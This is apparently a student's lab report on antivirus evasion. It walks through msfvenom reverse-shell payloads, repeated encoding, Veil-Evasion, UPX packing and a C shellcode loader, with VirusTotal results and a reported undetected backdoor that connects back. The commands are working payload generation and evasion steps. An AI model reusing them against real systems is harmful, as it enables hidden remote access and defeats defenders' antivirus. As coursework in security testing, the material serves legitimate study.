96
社区成员
使用msf编码器和veil-evasion工具,结合各种免杀措施使得自己编码的shellcode逃过杀毒软件。
(1)杀软是如何检测出恶意代码的?
答:
特征匹配: 杀软使用已知的恶意代码特征库进行匹配,这些特征可能是病毒、蠕虫、木马等恶意代码的特定字符串、行为模式或者代码片段。
行为分析: 杀软监视程序的行为,当程序尝试执行可疑操作时,比如修改系统文件、向外部服务器发送数据、试图访问敏感信息等,杀软就会将其标记为潜在的恶意代码。
(2)免杀是做什么?
答:"免杀"是指恶意软件开发者采取各种技术手段,使其恶意软件能够绕过杀毒软件和其他安全防御机制的检测和防御,从而成功地在目标系统上执行。
(3)免杀的基本方法有哪些?
答:代码混淆: 通过重命名变量、函数和类名,修改代码结构,添加无用代码等方式来使代码难以被静态分析和检测。
自修改代码: 恶意软件在每次运行时修改自身的代码,以使其不断变化,从而绕过基于固定模式的检测方法。
多层打包: 使用多层压缩和打包技术,使得恶意代码的结构更加复杂和难以分析。
我们使用virustoal进行查杀:
virustoal官网
直接使用实验二中生成的backdoor.exe送去检测
发现几乎有四分之三都能够被检测出来。
使用msf对backdoor.exe进行编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.174.135 LPORT=2427 -f exe > 20212427backdoor.exe
我们把这个程序再送去检测
对我们刚才编码过的程序再进行23次编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -23 -b ‘\x00’ LHOST=192.168.174.135 LPORT=2427 -f exe > 20212427backdoor.exe
我们把这个程序再送去检测
好像依旧没有什么用,所以我们大致可以得出结论,反复编码这种免杀技术对于现在的杀毒程序用处不大。
输入如下指令生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.174.135 LPORT=2427 x> 20212427backdoor.php
我们再把这个程序再送去检测
可以发现被检测到的部分大大下降,说明这种法师还是很有效果的,但是依旧能被查出来。
输入如下命令生产jar文件:
msfvenom -p java/shell_reverse_tcp LHOST=192.168.174.135 LPORT=2427 -f jar > 20212427backdoor.jar
我们再把这个程序再送去检测
发现对比反复编码而言是有所降低,
所以经过反复对比,这几种免杀技巧中,依效果来讲,php>jar>反复编码。
这一步会出很多的问题,可以说这次实验中花费时间和精力最多的就是这一步,详细的可以看第三部分的问题及解决方案,我在那里写了较为详细的步骤。
首先是安装,在root下输入如下命令:
apt-get install veil-evasion
这里有简单的安装教程
免杀Payload生成工具Veil的下载与使用
等待安装,时间会比较长,安装成功后再次输入veil启动程序:
进入veil后,相继输入如下命令,进入evasion并配置IP和端口
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.174.140 //设置反弹链接ip,此处为Kali的ip
set LPORT 2427 //设置端口
generate
我们在这里对我们所生成的文件进行命名,命名为20212427veil。
然后我们可以看到我们文件的保存目录
/var/lib/veil/output/compiled/20212427veil.exe
我们找到我们的保存的文件,然后拿去送检:
效果一般。。所以我们对其进行加壳,输入如下命令:
upx 20212427veil.exe -o 20212427veil_upx.exe
我们找到我们的保存的文件,然后拿去送检:
我们照常使用msfvenom得到shellcode,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.140 LPORT=2427 -f c
然后我们将这段shellcode复制,输入:
vim shellcode_c.c
再将刚刚复制的内容插入到新建的.c文件中,并在末尾加上:
int main() { int (*func)() = (int(*)())buf; func(); }
然后esc,:wq保存退出。
写好.c文件后,输入如下命令将其编译成可执行文件:
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
然后我们再送去检测
我们选择使用python+aes_encrypt
打开veil,选择Evasion
use 1
list一下查看我们需要使用的技术
我们选择evasion中第28项:用python生成reverse_tcp
use 28
设置回弹IP和端口号
set LHOST 192.168.174.140 //设置反弹链接ip,此处为Kali的ip
set LPORT 2427 //设置端口
generate
生成成功后我们找到这个20212427payload.py文件并把它拿去检测
我们进入veil使用7号payload即c/meterpreter/rev_tcp并加壳
我们把它传回主机,送去给联想电脑管家并打开查杀试试可不可以被查出来
我们把它找一个文件夹放置
打开联想电脑管家扫描
竟然没有被查出来!
那我们用它来实现回连,回顾和实验二同样的步骤,打开msf
回连成功!
关于veil的安装问题
解决方案:这个问题真的困扰了我很久,我甚至一度认为这个和实验者的运气有关(?
我一直卡死在veil安装中卡死在python的安装界面,一直next就会被卡住。
我选择重新切换了一个版本的虚拟机,但我并不确定这个是不是核心。
但是真正解决问题的是我更换了kali的下载源,我多次尝试发现kali的下载源根本用不了,一开始下载就会erro,我的解决办法可以参考如下的博客。
先换源
Kali更新源签名无效问题
换签名
kali更新源以及如何解决kali中无法下载 http://http.kali.org/kali/dists/kali-rolling/InRelease 无法解析域名“kali.download”
最后sudo update
这样就可以正常安装了。
本次实验关于操作部分基本上没什么难点,问题都在veil的安装,着实让人头疼,在通过我和同学们的讨论探索后,还是解决了这个问题,从这往后一路畅通。这次我们等于是对之前后门实践的一种强化。之前后门软件需要执行必须关掉杀软,否则被传过去会直接被杀掉。而这回经过加密、加壳和编码的一系列技术,我的后门软件居然逃过了杀软的检索成为了绿色软件(?瞬间感觉很神奇,我觉得学习了这些技术非常有趣也能激起我的兴趣,我有点期待后面的实验内容了。